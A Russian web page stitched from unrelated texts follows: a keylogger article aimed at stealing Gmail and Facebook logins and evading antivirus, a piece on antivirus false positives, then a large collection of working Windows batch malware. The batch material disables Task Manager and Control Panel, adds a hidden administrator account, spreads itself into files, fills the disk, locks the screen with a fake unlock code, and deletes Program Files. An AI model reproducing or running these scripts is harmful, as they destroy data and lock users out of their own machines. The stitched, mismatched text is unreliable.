Как сделать ложный вирус с цифрами

Обновлено: 19.04.2024

image

Хакерский мир можно условно разделить на три группы атакующих:

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

В этой заметке я хочу рассказать о том, как решалась проблема ложного срабатывания антивирусов на наш продукт.


Если у вас таких проблем нет, но вы планируете защищать свое ПО с помощью протектора — рекомендую ознакомиться с материалом, так как скорее всего вам предстоит пройти то же самое.

Шаг 1. Сode signing


Самый эффективный способ — это подписать свои исполняемые файлы, если этого не сделать то антивирусы будут сканировать их с особым пристрастием.

Для того, чтобы убедить в важности данного шага, Александр (Rouse_) Багель любезно поделился наглядным примером. В испытуемом приложении не используется протектор, нет обращения в интернет, оно выполняет только одну функцию — считает CRC32 файлов. Сравним отчеты подписанного и неподписанного файлов:


Думаю это достаточный аргумент в пользу подписи.

Техническую сторону получения сертификата и подписывания файла описывать не буду. Я получал сертификат в startssl (подкупили ценой и русскоязычным саппортом) на физ лицо Class 1 за 100$ на два года без всякой волокиты. Для получения сертификата на ООО (Class 2) были сложности в том, том что бы найти в Москве нотариуса-адвоката который бы отправил свое мнение по электронной почте подписанное цифровой подписью Класса 2…

Шаг 2. Гневные письма


Подписан файл или нет, но если на вирустотале (далее VT) кто-то ругается — пора писать письма. Узнать куда слать жалобы о ложном срабатывании помогают специальные списки:

Будьте готовы, что реакция вирлабовцев на обращение занимает пару недель.

Шаг 3. Автоматическая проверка VirusTotal'ом на билд сервере

Если не используется навесных защит то все просто, собрал релиз, залил на VT, отписал жалобы и все. Но в случае использования протекторов есть вариант сократить количество ложных срабатываний без отправки абуз.

Немного теории. При повторной компиляции одних и тех же исходников содержимое exe файла не меняется (кроме временных меток в заголовках). Поэтому пересборка и повторная отправка на VT ситуацию с фальшпозитивами не решит: кто ругался тот снова ругнется.

Совсем другое дело при использовании протектора (в моем случае VMProtect), который при каждой обработке файла формирует уникальную виртуальную машину (инструкции, обработчики) и соответствующий ей виртуализированный код. Эти уникальные данные могут как содержать сигнатуры какого-либо вируса, так и нет, отсюда появляется вероятность, что после повторной перезащиты антивирусы пропустят файл.

Перезащита занимает меньше времени чем ожидание ответа от вирлабовцев, но руками приходится проделывать поистине адовую рутину, ведь перезащитить 20 раз в ожидании чуда это вполне рабочий сценарий. Для автоматизации сего процесса была написана утилита VirusTotalScan, о которой пойдет речь дальше.

Используем VirusTotalScan


Интеграцию в билд сервер приведу на своем примере, для сборки используется .bat скрипт:

Из примера должно быть все понятно. По иронии, на саму программу получил одно ложное срабатывание, отписал жалобу — теперь жду пару недель решения.

Заключение


В заключении хочу поблагодарить Александра, с подачи которого началась статья, и предупредить — не всегда удается решить вопрос с вирлабовцами.


@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul

@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul

chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y

сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.

for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben

@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f

echo s.run "shutdown -r -t 0 -c ""pcforumhack.ru™"" -f",1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs


Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)

@echo off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус.
title Внимание.
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO @echo off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if "%choise%" == "101" goto gold
if "%choise%" == "200393" goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end

copy ""%0"" "%SystemRoot%\system32\File.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f


Как написать вирусы в блокноте?

Не думайте, пожалуйста, что знания о том, как пишутся вирусы, нужны только вирусописателям! В целях компьютерной безопасности они не менее важны и простым пользователям. Даже поверхностное понимание того, как написать вирусы в блокноте, поможет защитить компьютер от многих неприятностей.

Пишем вирус в блокноте

Вот так выглядит вирус, набранный в обыкновенном блокноте, который есть в составе любой системы от Microsoft Windows. Но знайте — это сложно назвать вирусом, просто системные команды, они сохраняются в формате .bat. Для изменения расширений, нужно настроить систему:

Пишем вирус в блокноте

Вместо telnetdrive.bat попробуйте вписать безопасные команды для запуска: Calc (калькулятора), Taskmgr (диспетчера задач) или Mspaint (программы рисования)

С чего начать

Создаём первый файл-вирус

Простой вирус написан и сохранён в файл. Теперь бы неплохо узнать, что же прописали в тело вируса, сохранённого в файле.

Создаём первый файл-вирус

Начинаем разбираться по порядку с первой строки:

  1. @Echooff – без этой команды всё, что написано, высвечивалось бы на экране монитора.
  2. Date11.14 – указывает на дату создания.
  3. Ifexistc:sky.batgotoabc – проверка существования на диске С файла sky.bat и если его нет
  4. Copy %0 c:sky.bat – размножает себя, изменив первоначальное имя файла на sky.bat
  5. Attrib +hc:sky.bat – скрывает созданный файл от посторонних глаз.
  6. Echoc:sky.bat >>autoexec.bat – вирус прописывается в автозагрузку.
  7. :abc – если он есть, выполнение программы перейдёт сюда.

Далее идут небольшие шалости:

  1. mdCRECK – создаёт нужную или ненужную папку, смотря какая цель у создателя вируса.
  2. mdNEW – такими папками можно заполнить весь жёсткий диск у пользователя.
  3. LabelE:LUZER – прописывает название логического диска Е. В данном случае LUZER.
  4. assoc .exe=.mp3 – расширение .exe будет ассоциироваться, как .mp
  5. del c:Program Files /q –всё, что было в папке Program Files удалится.
  6. del *.* /q – из каталога, где находится вирус, удалится всё, кроме папки с самим вирусом.

Повеселились достаточно, подумаем и о законе:

Читайте также: